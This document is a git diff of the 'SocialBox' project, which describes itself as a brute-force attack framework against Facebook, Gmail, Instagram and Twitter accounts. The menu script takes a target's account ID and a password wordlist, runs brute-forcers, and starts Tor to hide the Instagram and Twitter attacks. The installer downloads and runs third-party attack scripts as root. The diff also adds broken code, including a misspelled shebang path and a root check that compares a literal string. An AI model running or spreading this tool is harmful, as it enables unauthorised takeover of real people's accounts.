diff --git a/README.md b/README.md index bf3523d..9fe4423 100644 --- a/README.md +++ b/README.md @@ -2,22 +2,27 @@ SocialBox is a Bruteforce Attack Framework [ Facebook , Gmail , Instagram ,Twitter ] , Coded By Belahsan Ouerghi # Installation ``` -sudo apt-get install git +sudo apt install git + git clone https://github.com/TunisianEagles/SocialBox.git + cd SocialBox -chmod +x SocialBox.sh -chmod +x install-sb.sh + ./install-sb.sh + ./SocialBox.sh ``` # Screenshots : ![Test Image 8](https://raw.githubusercontent.com/TunisianEagles/SocialBox/master/Screenshots/sb.png) + # Tested On : * Backbox linux * Ubuntu * Kali linux + # Contact * [Contact](https://www.facebook.com/ouerghi.belahsan) - Belahsan Ouerghi + # Authors : * facebook : Imad * gmail : Ha3MrX diff --git a/SocialBox.sh b/SocialBox.sh index 6c2016b..07c7c81 100644 --- a/SocialBox.sh +++ b/SocialBox.sh @@ -1,4 +1,5 @@ -#!/bin/bash +#!/urs/bin/env bash + #Colors white="\033[1;37m" grey="\033[0;37m" @@ -12,17 +13,14 @@ Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" nc="\e[0m" -#ROOT PRIVILEGIES -if [[ $EUID -ne 0 ]]; then - echo -e "$red You don't have Root privilegies, execute the script as root.$nc" - exit 1 + +if [[ "(id -u)" -ne 0 ]]; then + echo "Please, Run This Programm as Root! + " + exit 1 fi -#Installation -sleep 1 -echo -e "Checking Installation $nc" -bash install-sb.sh -echo -e "Checking Completed [$green✓$nc] $nc " sleep 1 +printf '\033]2;Soial Box\a' clear #Startup echo -e "$green" @@ -30,7 +28,7 @@ echo " .▄▄ · ▄▄· ▪ ▄▄▄· ▄▄▌ ▄▄▄▄ echo " ▐█ ▀. ▪ ▐█ ▌▪██ ▐█ ▀█ ██• ▐█ ▀█▪▪ █▌█▌▪" echo " ▄▀▀▀█▄ ▄█▀▄ ██ ▄▄▐█·▄█▀▀█ ██▪ ▐█▀▀█▄ ▄█▀▄ ·██· " echo " ▐█▄▪▐█▐█▌.▐▌▐███▌▐█▌▐█ ▪▐▌▐█▌▐▌ ██▄▪▐█▐█▌.▐▌▪▐█·█▌" -echo -e " ▀▀▀▀ ▀█▄▀▪·▀▀▀ ▀▀▀ ▀ ▀ .▀▀▀ ·▀▀▀▀ ▀█▄▀▪•▀▀ ▀▀$nc $blue v1$nc" +echo -e " ▀▀▀▀ ▀█▄▀▪·▀▀▀ ▀▀▀ ▀ ▀ .▀▀▀ ·▀▀▀▀ ▀█▄▀▪•▀▀ ▀▀$nc $blue v1.3$nc" echo -e " [+] $red Coded By Belahsan Ouerghi$nc [+]" echo -e " [+] $red www.facebook.com/ouerghi.belahsan$nc [+]" echo -e " [+] $red Greetz To All Pentesters$nc [+]" @@ -45,110 +43,111 @@ echo -e " $Cyan 4 : Brute Force Twitter Account$nc" echo -e " $Cyan 99: Exit$nc" read -p "Choice > " ch if [ $ch = 1 ]; then -echo -e " $Cyan Facebook Brute Force$nc" -echo -e "$green" -read -p "Enter Facebook ID / Email / Username / Number: " id -read -p "Enter wordlist path : " wordlist -echo -e "$nc" -cd facebook -perl fb-brute.pl $id $wordlist -echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" -echo -e "$red" -read -p "Wanna Back To Main Menu [ Y / n ] : " check -echo -e "$nc" + echo -e " $Cyan Facebook Brute Force$nc" + echo -e "$green" + read -p "Enter Facebook ID / Email / Username / Number: " id + read -p "Enter wordlist path : " wordlist + echo -e "$nc" + cd facebook + perl fb-brute.pl $id $wordlist + echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" + echo -e "$red" + read -p "Wanna Back To Main Menu [ Y / n ] : " check + echo -e "$nc" if [ $check = "Y" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check = "y" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check = "Yes" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check = "yes" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check = "YES" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh else -exit 1 + exit 1 fi elif [ $ch = 2 ]; then -echo -e " $Cyan Gmail Brute Force$nc" -cd Gemail-Hack -python gemailhack.py -echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" -echo -e "$red" -read -p "Wanna Back To Main Menu [ Y / n ] : " check2 -echo -e "$nc" + echo -e " $Cyan Gmail Brute Force$nc" + cd Gemail-Hack + python gemailhack.py + echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" + echo -e "$red" + read -p "Wanna Back To Main Menu [ Y / n ] : " check2 + echo -e "$nc" if [ $check2 = "Y" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check2 = "y" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check2 = "Yes" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check2 = "yes" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check2 = "YES" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh else -exit 1 + exit 1 fi elif [ $ch = 3 ]; then -echo -e " $Cyan Instagram Brute Force$nc" -cd instainsane/ -sleep 0.025 + echo -e " $Cyan Instagram Brute Force$nc" + cd instainsane/ + sleep 0.025 echo -e " [+]$red Service Tor Stated $nc[+]" -sleep 0.9 -service tor start -./instainsane.sh -echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" -service tor stop -echo -e " [+]$red Service Tor Stopped$nc [+]" -echo -e "$red" -read -p "Wanna Back To Main Menu [ Y / n ] : " check3 -echo -e "$nc" + sleep 0.9 + service tor start + ./instainsane.sh + echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" + service tor stop + echo -e " [+]$red Service Tor Stopped$nc [+]" + echo -e "$red" + read -p "Wanna Back To Main Menu [ Y / n ] : " check3 + echo -e "$nc" if [ $check3 = "Y" ]; then -cd .. && bash SocialBox.sh -elif [ $check3 = "y" ]; then -cd .. && bash SocialBox.sh -elif [ $check3 = "Yes" ]; then -cd .. && bash SocialBox.sh -elif [ $check3 = "yes" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh + elif [ $check3 = "y" ]; then + cd .. && bash SocialBox.sh + elif [ $check3 = "Yes" ]; then + cd .. && bash SocialBox.sh + elif [ $check3 = "yes" ]; then + cd .. && bash SocialBox.sh elif [ $check3 = "YES" ]; then -cd .. && bash SocialBox.sh -else -exit 1 + cd .. && bash SocialBox.sh + else + exit 1 fi elif [ $ch = 4 ]; then -echo -e " $Cyan Twitter Brute Force$nc" -cd tweetshell/ -sleep 0.025 - echo -e " [+]$red Service Tor Stated $nc[+]" -sleep 0.9 -service tor start -bash tweetshell.sh -echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" -service tor stop -echo -e " [+]$red Service Tor Stopped$nc [+]" -echo -e "$red" -read -p "Wanna Back To Main Menu [ Y / n ] : " check4 -echo -e "$nc" + echo -e " $Cyan Twitter Brute Force$nc" + cd tweetshell/ + sleep 0.025 + echo -e " [+]$red Service Tor Stated $nc[+]" + sleep 0.9 + service tor start + bash tweetshell.sh + echo -e " [+]$yellow Brute Force Complete $nc[$green✓$nc] $nc[+]" + service tor stop + echo -e " [+]$red Service Tor Stopped$nc [+]" + echo -e "$red" + read -p "Wanna Back To Main Menu [ Y / n ] : " check4 + echo -e "$nc" if [ $check4 = "Y" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check4 = "y" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check4 = "Yes" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check4 = "yes" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh elif [ $check4 = "YES" ]; then -cd .. && bash SocialBox.sh + cd .. && bash SocialBox.sh else -exit 1 + exit 1 fi elif [ $ch == 99 ]; then -echo -e "$red Program Exit ...$nc" -sleep 0.25 -exit 1 + echo -e " + $red Program Exit ...$nc" + sleep 0.25 + exit 1 else -echo "Not Found 404 , Exit" -exit 1 + echo "Not Found 404 , Exit" + exit 1 fi diff --git a/install-sb.sh b/install-sb.sh index 85ef560..280fece 100644 --- a/install-sb.sh +++ b/install-sb.sh @@ -1,31 +1,35 @@ -#!/bin/bash -#Sysupdate -sudo apt-get update -#Python -sudo apt-get install python -#gmail -git clone https://github.com/Ha3MrX/Gemail-Hack.git -#facebook -if [ -d facebook ]; then - echo "Directory facebook exists.[✔]" -else - mkdir facebook - cd facebook - wget raw.githubusercontent.com/Sup3r-Us3r/scripts/master/fb-brute.pl - cd .. -fi -#Instagram -git clone https://github.com/thelinuxchoice/instainsane.git -cd instainsane -chmod +x instainsane.sh -chmod +x install.sh -sudo ./install.sh -cd .. -#Twitter -git clone https://github.com/thelinuxchoice/tweetshell.git -cd tweetshell -chmod +x tweetshell.sh -chmod +x install.sh -sudo ./install.sh -cd .. +#!/usr/bin/env bash +if [[ "$(id -u)" -ne 0 ]]; then + echo " +Please, Run This Programm as Root!" + exit 1 +fi +main() { + chmod +x SocialBox.sh + apt-get update + apt install python + apt install python3 + git clone https://github.com/Ha3MrX/Gemail-Hack.git + if [ -d facebook ]; then + echo "Directory facebook exists.[✔]" + else + mkdir facebook + cd facebook + wget raw.githubusercontent.com/Sup3r-Us3r/scripts/master/fb-brute.pl + cd .. + fi + git clone https://github.com/thelinuxchoice/instainsane.git + cd instainsane + chmod +x instainsane.sh + chmod +x install.sh + sudo ./install.sh + cd .. + git clone https://github.com/thelinuxchoice/tweetshell.git + cd tweetshell + chmod +x tweetshell.sh + chmod +x install.sh + sudo ./install.sh + cd .. +} +main